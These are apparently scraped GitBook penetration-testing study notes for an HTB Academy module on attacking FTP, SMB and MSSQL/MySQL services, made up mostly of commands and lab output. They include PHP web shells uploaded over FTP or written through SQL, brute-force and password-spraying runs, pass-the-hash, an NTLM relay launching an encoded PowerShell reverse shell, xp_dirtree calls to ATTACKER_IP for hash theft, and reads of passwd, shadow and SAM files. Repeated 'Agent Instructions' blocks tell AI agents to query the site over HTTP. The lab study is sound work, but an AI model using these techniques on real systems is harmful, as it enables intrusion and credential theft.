Skip to main content

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

FTP Attacks

🎯 Overview

This document covers exploitation techniques against FTP services, focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. Unlike enumeration, these techniques aim to gain unauthorized access, escalate privileges, or exploit misconfigurations.
β€œThe File Transfer Protocol (FTP) is a standard network protocol used to transfer files between computers. We can abuse misconfigurations or excessive privileges, exploit known vulnerabilities or discover new vulnerabilities.”

πŸ—οΈ FTP Attack Methodology

Attack Chain Overview

Service Discovery β†’ Misconfiguration Analysis β†’ Authentication Attacks β†’ File System Exploitation β†’ Privilege Escalation

Key Attack Objectives

  • Unauthorized file access through anonymous authentication
  • Credential compromise via brute force attacks
  • Network pivoting using FTP bounce attacks
  • Remote code execution through file upload capabilities
  • Information disclosure via configuration analysis

⚠️ Misconfiguration Exploitation

Anonymous Access Abuse

Anonymous Authentication Attack

# Test anonymous access
ftp target_ip
# Username: anonymous
# Password: anonymous (or any email address)

# HTB Academy example session:
$ ftp 192.168.2.142
Connected to 192.168.2.142.
220 (vsFTPd 2.3.4)
Name (192.168.2.142:user): anonymous
331 Please specify the password.
Password: anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Mass Data Extraction

# Automated download of accessible files
wget -m --no-passive ftp://anonymous:anonymous@target_ip

# Results in organized directory structure
tree target_ip/
└── target_ip
    β”œβ”€β”€ sensitive_documents/
    β”‚   β”œβ”€β”€ passwords.txt
    β”‚   β”œβ”€β”€ database_config.ini
    β”‚   └── employee_list.xlsx
    └── backup_files/
        └── system_backup.tar.gz

πŸ” Authentication Attacks

Brute Force with Medusa

Basic Medusa Usage

# Single user brute force
medusa -u admin -P /usr/share/wordlists/rockyou.txt -h target_ip -M ftp

# HTB Academy example:
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

# Expected output:
Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]

Advanced Medusa Attacks

# Multi-user brute force
medusa -U userlist.txt -P passwords.txt -h target_ip -M ftp

# Targeted attack with common passwords
medusa -u admin -p admin,password,123456,ftp,root -h target_ip -M ftp

# Slow brute force to avoid detection
medusa -u admin -P passwords.txt -h target_ip -M ftp -t 1 -s 5

🌐 FTP Bounce Attack Exploitation

HTB Academy FTP Bounce Implementation

# Nmap FTP bounce scan
nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

# Expected output:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

Manual FTP Bounce Attack

# Connect to FTP server
ftp vulnerable_ftp_server

# Use PORT command to target internal host
ftp> port 192,168,1,100,0,22  # Target 192.168.1.100:22
200 PORT command successful.

# Trigger connection with LIST
ftp> list
150 Here comes the directory listing.
# Connection attempt made to target

πŸ—ƒοΈ File System Exploitation

Web Shell Upload Attack

# Create PHP web shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Upload to web-accessible directory
ftp> cd /var/www/html
ftp> put shell.php
ftp> quit

# Execute commands
curl "http://target_ip/shell.php?cmd=whoami"

Directory Traversal Attacks

# Test directory traversal
ftp> cd ../../../etc
ftp> get passwd
ftp> get shadow

# Windows traversal
ftp> cd ..\..\..\Windows\System32
ftp> get SAM

πŸ“‹ FTP Attack Checklist

Authentication Attacks

  • Anonymous authentication - Default access testing
  • Brute force with Medusa - Automated password attacks
  • Password spraying - Single password, multiple users
  • Default credentials - Common username/password combinations

Exploitation Attacks

  • FTP bounce scanning - Internal network reconnaissance
  • File upload testing - Web shell and malware upload
  • Directory traversal - File system exploration
  • Configuration exploitation - Modify server settings

Post-Exploitation

  • Sensitive file extraction - Configuration, credential files
  • Persistence mechanisms - SSH keys, cron jobs, web shells
  • Privilege escalation - SUID binaries, configuration abuse
  • Lateral movement - Use FTP server as pivot point

🎯 HTB Academy Lab Scenarios

Scenario 1: Anonymous Access Exploitation

# Target has anonymous FTP with write access to web directory
ftp target_ip
# Username: anonymous, Password: anonymous

# Upload web shell to web-accessible directory
ftp> cd htdocs
ftp> put shell.php
ftp> quit

# Achieve remote code execution
curl "http://target_ip/shell.php?cmd=whoami"

Scenario 2: Brute Force with Medusa

# Discovered username through enumeration: fiona
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h target_ip -M ftp

# Result: fiona:family
# Access FTP and extract sensitive files

Scenario 3: FTP Bounce Attack

# Use FTP server to scan internal network
nmap -Pn -v -n -p80 -b anonymous:password@ftp_server internal_target

# Discover internal services through FTP proxy

πŸ’‘ Key Attack Insights

Attack Effectiveness Factors

  1. Anonymous access - Immediate exploitation opportunity
  2. Write permissions - Enable file upload attacks
  3. Web directory access - Direct path to code execution
  4. Weak credentials - Entry point for authorized access
  5. Internal network position - Pivot for lateral movement

Common Attack Patterns

  1. Reconnaissance β†’ Anonymous testing β†’ File extraction
  2. Brute force β†’ Credential discovery β†’ Privilege abuse
  3. Bounce attack β†’ Internal scanning β†’ Lateral movement
  4. File upload β†’ Web shell β†’ Remote code execution
  5. Configuration abuse β†’ Persistence β†’ Privilege escalation

This document provides comprehensive FTP attack methodologies based on HTB Academy’s β€œAttacking Common Services” module, focusing on practical exploitation techniques for penetration testing and security assessment.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/ftp-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

SMB Attacks

🎯 Overview

This document covers exploitation techniques against SMB services, focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. SMB attacks can lead to remote code execution, credential theft, lateral movement, and complete system compromise.
β€œTo attack an SMB Server, we need to understand its implementation, operating system, and which tools we can use to abuse it. We can abuse misconfiguration or excessive privileges, exploit known vulnerabilities or discover new vulnerabilities.”

πŸ—οΈ SMB Attack Methodology

Attack Chain Overview

Service Discovery β†’ Misconfiguration Analysis β†’ Authentication Attacks β†’ Privilege Escalation β†’ Lateral Movement

Key Attack Vectors

  • Anonymous Authentication (Null Sessions)
  • Brute Force & Password Spraying
  • Remote Code Execution (PsExec, SMBExec, atexec)
  • Credential Extraction (SAM Database)
  • Pass-the-Hash Attacks
  • Forced Authentication (Responder, NTLM Relay)

πŸ“ Service Discovery & Enumeration

Basic SMB Scanning

# Target ports 139 (NetBIOS) and 445 (SMB)
sudo nmap 10.129.14.128 -sV -sC -p139,445

# Expected output
PORT    STATE SERVICE     VERSION
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2

Key Information to Extract

  • SMB Version (Samba vs Windows)
  • Hostname (NetBIOS name)
  • Operating System (Linux/Windows detection)
  • Message Signing status
  • SMB Dialect support

πŸ”“ Misconfiguration Attacks

1. Anonymous Authentication (Null Sessions)

Target: SMB servers that don’t require authentication

File Share Enumeration

# List shares with null session
smbclient -N -L //10.129.14.128

# Example output
Sharename       Type      Comment
-------         ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share  
notes           Disk      CheckIT
IPC$            IPC       IPC Service (DEVSM)

Permission Analysis

# Check permissions for each share
smbmap -H 10.129.14.128

# Example output
Disk                    Permissions     Comment
----                    -----------     -------
ADMIN$                  NO ACCESS       Remote Admin
C$                      NO ACCESS       Default share
IPC$                    READ ONLY       IPC Service (DEVSM)
notes                   READ, WRITE     CheckIT

Directory Browsing

# Browse directories recursively
smbmap -H 10.129.14.128 -r notes

# Download files
smbmap -H 10.129.14.128 --download "notes\note.txt"

# Upload files (if WRITE permissions)
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

2. RPC Exploitation

Null Session RPC Access

# Connect with null session
rpcclient -U'%' 10.10.110.17

# Common enumeration commands
rpcclient $> enumdomusers     # List domain users
rpcclient $> enumdomgroups    # List domain groups  
rpcclient $> querydominfo     # Domain information
rpcclient $> lookupnames     # Name resolution

Advanced RPC Operations

  • Change user passwords
  • Create new domain users
  • Create shared folders
  • Modify system attributes

3. Automated Enumeration

# Enum4linux - comprehensive SMB enumeration
./enum4linux-ng.py 10.10.11.45 -A -C

# Information gathered:
# - Workgroup/Domain name
# - Users information
# - Operating system information
# - Groups information  
# - Shares folders
# - Password policy information

βš”οΈ Protocol Specific Attacks

1. Brute Force & Password Spraying

⚠️ WARNING: Brute forcing can lock accounts. Use password spraying for safer approach.

Password Spraying with CrackMapExec

# Prepare user list
cat /tmp/userlist.txt
Administrator
jrodriguez
admin
jurena

# Password spray against single target
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!' --local-auth

# Expected output for success
SMB    10.10.110.17  445  WIN7BOX  [+] WIN7BOX\jurena:Company01! (Pwn3d!)

Best Practices

  • 2-3 password attempts max
  • 30-60 minute delays between attempts
  • Monitor account lockout policies
  • Use β€”continue-on-success for complete enumeration

2. Metasploit SMB Login Scanner

# Launch Metasploit
msfconsole -q
use auxiliary/scanner/smb/smb_login

# Configure options
set rhosts 10.129.167.224
set SMBUSER jason
set PASS_FILE ./pws.list
set stop_on_success true
run

# Expected success output
[+] 10.129.167.224:445 - Success: '.\jason:34c8zuNBo91!@28Bszh'

πŸ’» Remote Code Execution

1. PsExec Family Tools

Impacket PsExec

# Basic RCE with valid credentials
impacket-psexec administrator:'Password123!'@10.10.110.17

# Process:
# 1. Deploys service to admin$ share
# 2. Uses DCE/RPC over SMB
# 3. Accesses Windows Service Control Manager
# 4. Creates named pipe for command execution

Alternative Impacket Tools

# SMBExec - doesn't use RemComSvc
impacket-smbexec administrator:'Password123!'@10.10.110.17

# AtExec - uses Task Scheduler
impacket-atexec administrator:'Password123!'@10.10.110.17 "whoami"

2. CrackMapExec RCE

# Execute single command
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

# Execute PowerShell commands
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -X 'Get-Process'

# Multiple targets
crackmapexec smb 10.10.110.0/24 -u Administrator -p 'Password123!' -x 'whoami'

🏷️ Credential Extraction & Lateral Movement

1. SAM Database Extraction

# Extract local password hashes
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

# Example output
SMB    10.10.110.17  445  WIN7BOX  [+] Dumping SAM hashes
SMB    10.10.110.17  445  WIN7BOX  Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB    10.10.110.17  445  WIN7BOX  jurena:1001:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::

2. Pass-the-Hash (PtH) Attacks

# Authenticate using NTLM hash instead of password
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

# PtH with Impacket tools
impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe administrator@10.10.110.17

3. Logged-on Users Enumeration

# Find logged-on users across network
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users

# Output shows active sessions for lateral movement targeting
SMB    10.10.110.17  445  WIN7BOX  WIN7BOX\jurena    logon_server: WIN7BOX
SMB    10.10.110.21  445  WIN10BOX WIN10BOX\demouser logon_server: WIN10BOX

��️ Forced Authentication Attacks

1. Responder - LLMNR/NBT-NS Poisoning

Setup Responder

# Start Responder on interface
sudo responder -I ens33

# Services automatically enabled:
# - LLMNR, NBT-NS, MDNS poisoning
# - Fake SMB, HTTP, HTTPS servers
# - Kerberos, SQL, FTP servers

Attack Scenario

1. User mistypes share name: \\mysharefoder\ instead of \\mysharedfolder\
2. Name resolution fails
3. Machine sends multicast query
4. Responder responds with attacker IP
5. Victim connects to fake SMB server
6. NetNTLMv2 hash captured

Captured Credentials Example

[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:...

2. Hash Cracking

# Crack NetNTLMv2 with hashcat
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# Example successful crack
ADMINISTRATOR::WIN-487IMQOIA8E:997b18cc61099ba2:...:P@ssword

3. NTLM Relay Attacks

Setup NTLM Relay

# Disable SMB in Responder config
cat /etc/responder/Responder.conf | grep 'SMB ='
SMB = Off

# Setup relay to target
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

Advanced Relay with Commands

# Execute PowerShell reverse shell via relay
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 \
-c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0...'

# Result: NT AUTHORITY\SYSTEM shell

πŸ“ Skills Assessment Examples

Example 1: Share Discovery

Task: Find shared folder with READ permissions
# Use enum4linux to enumerate shares
enum4linux 10.129.203.6

# Look for share mappings
//10.129.203.6/GGJ    Mapping: OK, Listing: OK

# Answer: GGJ

Example 2: Password Brute Force

Task: Find password for username β€œjason”
# Metasploit brute force
msfconsole -q
use auxiliary/scanner/smb/smb_login
set rhosts 10.129.167.224
set SMBUSER jason
set PASS_FILE ./pws.list
set stop_on_success true
run

# Success result
[+] 10.129.167.224:445 - Success: '.\jason:34c8zuNBo91!@28Bszh'

Example 3: SSH Key Extraction

Task: Login via SSH and find flag
# Access SMB share with found credentials
smbclient -U jason //10.129.137.91/GGJ

# Download SSH key
smb: \> get id_rsa
smb: \> exit

# Set permissions and connect
chmod 600 id_rsa
ssh -i id_rsa jason@10.129.137.91

# Find flag
cat flag.txt
# HTB{...}

πŸ›‘οΈ Defense & Mitigation

SMB Security Hardening

  • Disable SMBv1 protocol
  • Enable SMB signing (mandatory)
  • Restrict anonymous access
  • Implement strong authentication
  • Monitor SMB traffic
  • Segment network properly

Detection Strategies

  • Monitor failed authentication attempts
  • Alert on suspicious SMB connections
  • Track administrative share access
  • Log RPC operations
  • Detect LLMNR/NBT-NS traffic


πŸ“š References

  • HTB Academy - Attacking Common Services Module
  • Impacket Documentation - Python SMB tools
  • CrackMapExec Wiki - Advanced SMB testing
  • Responder Documentation - LLMNR/NBT-NS poisoning
  • Microsoft SMB Protocol - Official specifications

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/attacking-common-services/smb-attacks.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

SQL Database Attacks

🎯 Overview

This document covers exploitation techniques against SQL databases (MySQL and MSSQL), focusing on practical attack methodologies from HTB Academy’s β€œAttacking Common Services” module. Database attacks can lead to data extraction, command execution, privilege escalation, and lateral movement.
β€œDatabase hosts are considered to be high targets since they are responsible for storing all kinds of sensitive data, including user credentials, PII, business-related data, and payment information. These services often are configured with highly privileged users.”

πŸ—οΈ SQL Attack Methodology

Attack Chain Overview

Service Discovery β†’ Authentication Bypass β†’ Database Enumeration β†’ Data Extraction β†’ Command Execution β†’ Lateral Movement

Key Attack Vectors

  • Authentication Bypass (Default credentials, timing attacks)
  • Database Enumeration (Tables, schemas, sensitive data)
  • Command Execution (xp_cmdshell, UDF functions)
  • File Operations (Read/write local files)
  • Hash Stealing (SMB integration attacks)
  • Privilege Escalation (User impersonation)
  • Lateral Movement (Linked servers)

πŸ“ Service Discovery & Analysis

Default Ports & Scanning

# MSSQL default ports
# TCP/1433 (default), UDP/1434, TCP/2433 (hidden mode)

# MySQL default port
# TCP/3306

# Comprehensive Nmap scan
nmap -Pn -sV -sC -p1433,3306 10.10.10.125
# Expected MSSQL output
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: mssql-test
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: mssql-test.HTB.LOCAL

Key Information to Extract

  • Database Version (vulnerability research)
  • Authentication Mode (Windows vs Mixed)
  • Domain Information (for privilege escalation)
  • SSL Configuration (encryption status)
  • Service Account details

πŸ” Authentication Mechanisms & Bypass

1. MSSQL Authentication Types

Windows Authentication Mode

  • Integrated Security with Windows/Active Directory
  • Pre-authenticated Windows users don’t need additional credentials
  • Domain-based privilege management

Mixed Mode Authentication

  • Windows/AD accounts + SQL Server accounts
  • Username/password pairs maintained within SQL Server
  • Higher attack surface due to dual authentication

2. MySQL Authentication Methods

  • Username/password authentication
  • Windows authentication (plugin required)
  • Socket-based authentication

3. Historical Vulnerabilities

CVE-2012-2122 - MySQL Timing Attack

# MySQL 5.6.x authentication bypass
# Repeatedly use same incorrect password
# Timing attack vulnerability in authentication handling

# Manual exploitation concept:
for i in {1..1000}; do
    mysql -u root -pwrongpass -h target 2>/dev/null
done
# Eventually succeeds due to timing vulnerability

πŸ”“ Protocol Specific Attacks

1. Database Connection & Authentication

MySQL Connection

# Basic MySQL connection
mysql -u julio -pPassword123 -h 10.129.20.13

# Expected output
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)

MSSQL Connection Methods

# Windows sqlcmd
sqlcmd -S SRVMSSQL -U julio -P 'MyPassword!' -y 30 -Y 30

# Linux sqsh alternative
sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

# Impacket mssqlclient
mssqlclient.py -p 1433 julio@10.129.203.7

Windows Authentication

# Domain authentication
sqsh -S 10.129.203.7 -U DOMAIN\\julio -P 'MyPassword!' -h

# Local account authentication
sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

πŸ—„οΈ Database Enumeration & Data Extraction

1. Default System Databases

MySQL System Schemas

  • mysql - System database with server information
  • information_schema - Database metadata access
  • performance_schema - Server execution monitoring
  • sys - Performance Schema interpretation objects

MSSQL System Databases

  • master - SQL Server instance information
  • msdb - SQL Server Agent usage
  • model - Template for new databases
  • resource - Read-only system objects
  • tempdb - Temporary objects storage

2. Database Enumeration Commands

Show Databases

-- MySQL
SHOW DATABASES;

-- MSSQL
SELECT name FROM master.dbo.sysdatabases
GO

Select Database

-- MySQL
USE htbusers;

-- MSSQL
USE htbusers
GO

Show Tables

-- MySQL
SHOW TABLES;

-- MSSQL
SELECT table_name FROM htbusers.INFORMATION_SCHEMA.TABLES
GO

Extract Table Data

-- Universal SQL
SELECT * FROM users;

-- Example output
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+

πŸ’» Command Execution Techniques

1. MSSQL Command Execution

xp_cmdshell Usage

-- Execute system commands
xp_cmdshell 'whoami'
GO

-- Expected output
output
-----------------------------
nt service\mssql$sqlexpress
NULL

Enable xp_cmdshell

-- Enable advanced options
EXECUTE sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO

-- Enable xp_cmdshell
EXECUTE sp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO

2. MySQL Command Execution

User Defined Functions (UDF)

-- MySQL UDF for command execution
-- Requires custom C/C++ UDF compilation
-- GitHub repository: https://github.com/mysqludf/lib_mysqludf_sys

-- Example usage (if UDF available)
SELECT sys_exec('whoami');

πŸ“‚ File Operations

1. Write Local Files

MySQL File Writing

-- Write web shell to web directory
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';

-- Check secure_file_priv setting
SHOW VARIABLES LIKE "secure_file_priv";

MSSQL File Writing

-- Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
sp_configure 'Ole Automation Procedures', 1
GO
RECONFIGURE
GO

-- Create web shell file
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO

2. Read Local Files

MSSQL File Reading

-- Read system files
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO

-- Expected output
BulkColumn
-----------------------------------------------------------------------------
# Copyright (c) 1993-2009 Microsoft Corp.
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

MySQL File Reading

-- Read local files (requires appropriate privileges)
SELECT LOAD_FILE("/etc/passwd");

-- Expected output
+--------------------------+
| LOAD_FILE("/etc/passwd") |
+--------------------------+
| root:x:0:0:root:/root:/bin/bash
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

πŸ•·οΈ Hash Stealing Attacks

1. MSSQL Service Hash Capture

Using xp_dirtree

-- Force SMB authentication to attacker
EXEC master..xp_dirtree '\\10.10.110.17\share\'
GO

Using xp_subdirs

-- Alternative method
EXEC master..xp_subdirs '\\10.10.110.17\share\'
GO

2. Capture Setup

Responder Setup

# Start Responder to capture hashes
sudo responder -I tun0

# Expected capture
[SMB] NTLMv2-SSP Client   : 10.10.110.17
[SMB] NTLMv2-SSP Username : SRVMSSQL\demouser
[SMB] NTLMv2-SSP Hash     : demouser::WIN7BOX:5e3ab1c4380b94a1:A18830632D52768440B7E2425C4A7107...

Impacket SMB Server

# Alternative capture method
sudo impacket-smbserver share ./ -smb2support

# Captured authentication details
[*] AUTHENTICATE_MESSAGE (WINSRV02\mssqlsvc,WINSRV02)
[*] User WINSRV02\mssqlsvc authenticated successfully

πŸ‘€ Privilege Escalation

1. User Impersonation

Identify Impersonatable Users

-- Find users we can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

-- Example output
name
-----------------------------------------------
sa
ben
valentin

Check Current Privileges

-- Verify current user and role
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Output: 0 = not sysadmin, 1 = sysadmin

Impersonate Higher Privileged User

-- Impersonate SA user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO

-- Now shows sysadmin privileges (1)

-- Revert to original user
REVERT

🌐 Lateral Movement

1. Linked Servers

Identify Linked Servers

-- Find linked servers
SELECT srvname, isremote FROM sysservers
GO

-- Example output
srvname                             isremote
----------------------------------- --------
DESKTOP-MFERMN4\SQLEXPRESS          1
10.0.0.12\SQLEXPRESS                0

-- isremote: 1 = remote server, 0 = linked server

Execute Commands on Linked Servers

-- Execute commands on remote SQL instance
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
GO

-- Expected output
------------------------------ ------------------------------ ------------------------------ -----------
DESKTOP-0L9D4KA\SQLEXPRESS     Microsoft SQL Server 2019      sa_remote                      1

πŸ“ Skills Assessment Examples

Example 1: Service Hash Capture

Task: Capture MSSQL service hash using xp_dirtree
-- Force authentication to attacker machine
EXEC master..xp_dirtree '\\ATTACKER_IP\share\'
GO

-- Responder captures NTLMv2 hash
-- Answer: Service account hash captured

Example 2: Database Enumeration

Task: Find flag in β€œflagDB” database
-- Connect and enumerate
USE flagDB
GO
SELECT table_name FROM flagDB.INFORMATION_SCHEMA.TABLES
GO
SELECT * FROM flags
GO

-- Answer: Flag content from database

Example 3: Privilege Escalation

Task: Escalate to sysadmin via impersonation
-- Check available users to impersonate
SELECT distinct b.name FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

-- Impersonate SA
EXECUTE AS LOGIN = 'sa'
-- Now have sysadmin privileges

πŸ›‘οΈ Defense & Mitigation

Database Security Hardening

  • Disable unnecessary features (xp_cmdshell, Ole Automation)
  • Implement strong authentication
  • Use least privilege principles
  • Network segmentation for database servers
  • Regular security updates
  • Monitor file operations

Detection Strategies

  • Monitor failed authentication attempts
  • Alert on xp_cmdshell usage
  • Track file read/write operations
  • Log impersonation activities
  • Monitor linked server queries
  • Detect SMB connection attempts


πŸ“š References

  • HTB Academy - Attacking Common Services Module
  • Microsoft SQL Server Documentation - Security best practices
  • MySQL Security Documentation - Hardening guidelines
  • OWASP Database Security - Common vulnerabilities
  • CVE-2012-2122 - MySQL authentication bypass

🎯 HTB Academy Lab Scenarios

Scenario 1: Initial Database Access

# Target: 10.129.203.12 (ACADEMY-ATTCOMSVC-WIN-02)
# Credentials: htbdbuser:MSSQLAccess01!

# Install sqlcmd (if needed)
sudo apt install sqlcmd

# Connect to target MSSQL server
sqlcmd -S 10.129.203.12 -U htbdbuser
Password: MSSQLAccess01!

# Expected output:
1>

Scenario 2: MSSQL Service Hash Capture

Task: Find password for β€œmssqlsvc” user via hash stealing

Terminal 1 - Start SMB Server

# Start impacket SMB server with SMBv2 support
sudo impacket-smbserver share ./ -smb2support

# Expected output:
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Terminal 2 - Execute Hash Stealing Attack

-- Connect to SQL server first
sqlcmd -S 10.129.203.12 -U htbdbuser

-- Execute xp_dirtree to force SMB authentication (replace with YOUR IP)
1> EXEC master..xp_dirtree '\\10.10.14.138\share'
2> GO

(0 rows affected)

Captured Hash Output

# SMB Server captures NTLMv2 hash:
[*] Incoming connection (10.129.203.12,49676)
[*] AUTHENTICATE_MESSAGE (WIN-02\mssqlsvc,WIN-02)
[*] User WIN-02\mssqlsvc authenticated successfully
[*] mssqlsvc::WIN-02:aaaaaaaaaaaaaaaa:da87f7aa577b48e8361cf1b021e6bfca:010100000000000000555ef6718cd801e1b423320a45d0570000000001001000760055004a005100610058005200550003001000760055004a00510061005800520055000200100069004700430077004f0055006b0077000400100069004700430077004f0055006b0077000700080000555ef6718cd80106000400020000000800300030000000000000000000000000300000f4316f662256a822989f5d2574efb5b4cbf92c2ce43cb82538c6b2b358a130650a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0034000000000000000000

# Crack hash to get password: princess1

Scenario 3: Flag Enumeration with Escalated Privileges

Task: Enumerate β€œflagDB” database and extract flag

Connect with mssqlsvc Account

# Use cracked credentials: mssqlsvc:princess1
sqlcmd -S 10.129.203.12 -U .\\mssqlsvc
Password: princess1

# Expected output:
1>

Database and Table Enumeration

-- Switch to flagDB database
1> USE flagDB
2> GO
Changed database context to 'flagDB'.

-- Enumerate tables in flagDB
1> SELECT table_name FROM flagDB.INFORMATION_SCHEMA.tables
2> GO

table_name                                                                                                                      
--------------------------------------------------------------------------------------------------------------------------------
tb_flag                                                                                                                         

(1 row affected)

Flag Extraction

-- Extract flag from tb_flag table
1> SELECT * FROM tb_flag 
2> GO

flagvalue
----------------------------------------------------------------------------------------------------
HTB{...}                                                                   

(1 row affected)
Answer: HTB{...}

πŸ“‹ SQL Attack Checklist

Authentication Attacks

  • Default credentials - admin/admin, sa/sa, root/root
  • Anonymous access - NULL or empty password
  • Weak passwords - Dictionary attacks
  • Windows authentication - Domain credential abuse

Database Exploitation

  • System database access - Information_schema, master, sys
  • Sensitive data extraction - User tables, configuration data
  • Command execution - xp_cmdshell, UDF functions
  • File operations - Read system files, write web shells

Post-Exploitation

